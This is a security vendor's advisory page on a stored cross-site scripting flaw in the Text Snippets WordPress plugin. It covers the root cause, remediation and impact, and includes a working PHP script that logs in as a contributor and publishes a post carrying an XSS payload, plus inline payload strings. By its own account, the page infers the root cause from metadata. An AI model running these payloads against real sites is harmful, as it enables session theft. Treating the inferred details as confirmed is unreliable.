Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 24, 2026

CVE-2026-5748: Text Snippets <= 0.0.1 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'w' Shortcode Attribute (text-snippet)

CVE ID CVE-2026-5748
Plugin text-snippet
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 0.0.1
Patched Version
Disclosed April 20, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-5748 (metadata-based):
This vulnerability affects the Text Snippets plugin for WordPress up to version 0.0.1. It allows authenticated users with Contributor-level access or higher to inject stored cross-site scripting (XSS) via the plugin’s ‘ts’ shortcode. The CVSS score is 6.4 (Medium), with a vector reflecting a low complexity attack over the network requiring low privileges, with scope change impacting confidentiality and integrity.

Root Cause: Atomic Edge research infers from the CWE-79 classification and the vulnerability description that the plugin fails to properly sanitize user-supplied attributes within the ‘ts’ shortcode. Specifically, the ‘w’ attribute (likely intended for a width parameter) is not sanitized or escaped before being output in the HTML page. This is a classic stored XSS pattern: the plugin receives the shortcode attribute, processes it, and stores it in the database (via post content) without validation. When a page containing the shortcode is rendered, the malicious attribute value is output directly into the HTML context without escaping, allowing script execution. Without source code access, this conclusion is inferred from the CWE, description, and common WordPress shortcode patterns.

Exploitation: An attacker with Contributor-level access can craft a WordPress post or page containing the ‘[ts]’ shortcode with a malicious ‘w’ attribute. The attack requires no direct AJAX handler; the shortcode is processed on page render. The attacker injects payloads such as: [ts w=” onclick=alert(1) //] or [ts w=”<script>alert(1)</script>”]. The exact injection point is the ‘w’ attribute value. Once the post is published or saved, any user visiting the page will trigger the XSS. The attack vector is the WordPress post editor, not a custom endpoint. No nonce or capability check bypass is needed because the contributor role already has permission to create posts with shortcodes.

Remediation: Atomic Edge analysis concludes that the fix must sanitize and escape the ‘w’ attribute (and all other user-supplied shortcode attributes) before rendering. The plugin should use WordPress functions like ‘sanitize_text_field’ on input and ‘esc_attr’ on output within the shortcode handler. Additionally, the plugin should use ‘wp_kses’ or a similar whitelist-based approach for any attributes that accept HTML. Since no patched version exists, site administrators should remove or disable the plugin immediately.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user viewing the affected page. This can lead to session hijacking, defacement, phishing of admin credentials, or redirection to malicious sites. Because the XSS is stored, it persists in the database and affects all visitors, including site administrators. The CVSS scope change (S:C) indicates the vulnerable component impacts assets outside its authorization boundary, meaning a contributor-level user can affect a site administrator’s session. This is a serious risk for any WordPress site running this plugin.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-5748 - Text Snippets <= 0.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'w' Shortcode Attribute

// This PoC demonstrates how an authenticated Contributor can inject stored XSS via the 'ts' shortcode.
// The actual injection happens when the shortcode is rendered; this script simply creates a post with the malicious shortcode.

$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress site URL
$username = 'contributor'; // CHANGE THIS to the attacker's username
$password = 'password'; // CHANGE THIS to the attacker's password

$login_url = $target_url . '/wp-login.php';
$post_url = $target_url . '/wp-admin/post-new.php';

// Initialize cURL session
$ch = curl_init();

// Set common options
curl_setopt_array($ch, [
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEFILE => '/tmp/cookiejar.txt',
    CURLOPT_COOKIEJAR => '/tmp/cookiejar.txt',
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
]);

// Step 1: Log in
curl_setopt($ch, CURLOPT_URL, $login_url);
$response = curl_exec($ch);

// Extract login nonce
preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
$login_nonce = $matches[1] ?? '';

// Submit login form
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1,
    '_wpnonce' => $login_nonce
]);
$response = curl_exec($ch);

// Check for login success
if (strpos($response, 'Dashboard') === false) {
    die('Login failed. Check credentials or site URL.');
}

echo "Login successful.n";

// Step 2: Get new post page to extract post nonce and _wp_http_referer
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

// Extract wpnonce for post creation (used by WordPress block editor or classic)
preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
$post_nonce = $matches[1] ?? '';

// Also extract REST API nonce for block editor
preg_match('/wp-api-fetch-nonce" content="([^"]+)"/', $response, $matches);
$rest_nonce = $matches[1] ?? '';

// Fallback to classic editor if no REST nonce (simpler PoC)
// Build XSS payload: the 'w' attribute is injected without sanitization
$xss_payload = '" onclick=alert(document.cookie) //';
$shortcode = '[ts w="' . $xss_payload . '"]';

$post_data = [
    'post_title' => 'XSS Test Post - Atomic Edge',
    'content' => $shortcode,
    'post_status' => 'publish',
    'post_type' => 'post',
    '_wpnonce' => $post_nonce,
    'action' => 'editpost'
];

curl_setopt($ch, CURLOPT_URL, $post_url . '?action=editpost');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);

if (strpos($response, 'post-preview') !== false || strpos($response, 'edit-post') !== false) {
    echo "PoC post created successfully. Visit the new post to trigger XSS.n";
    echo "Shortcode used: " . $shortcode . "n";
    preg_match('/class="wp-block-post-title".*?href="([^"]+)"/s', $response, $m);
    $post_url_found = $m[1] ?? 'unknown (check dashboard)';
    echo "Post URL: " . $post_url_found . "n";
} else {
    echo "Post creation may have failed. Check response content.n";
    echo "Response snippet: " . substr($response, 0, 500) . "n";
}

curl_close($ch);

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School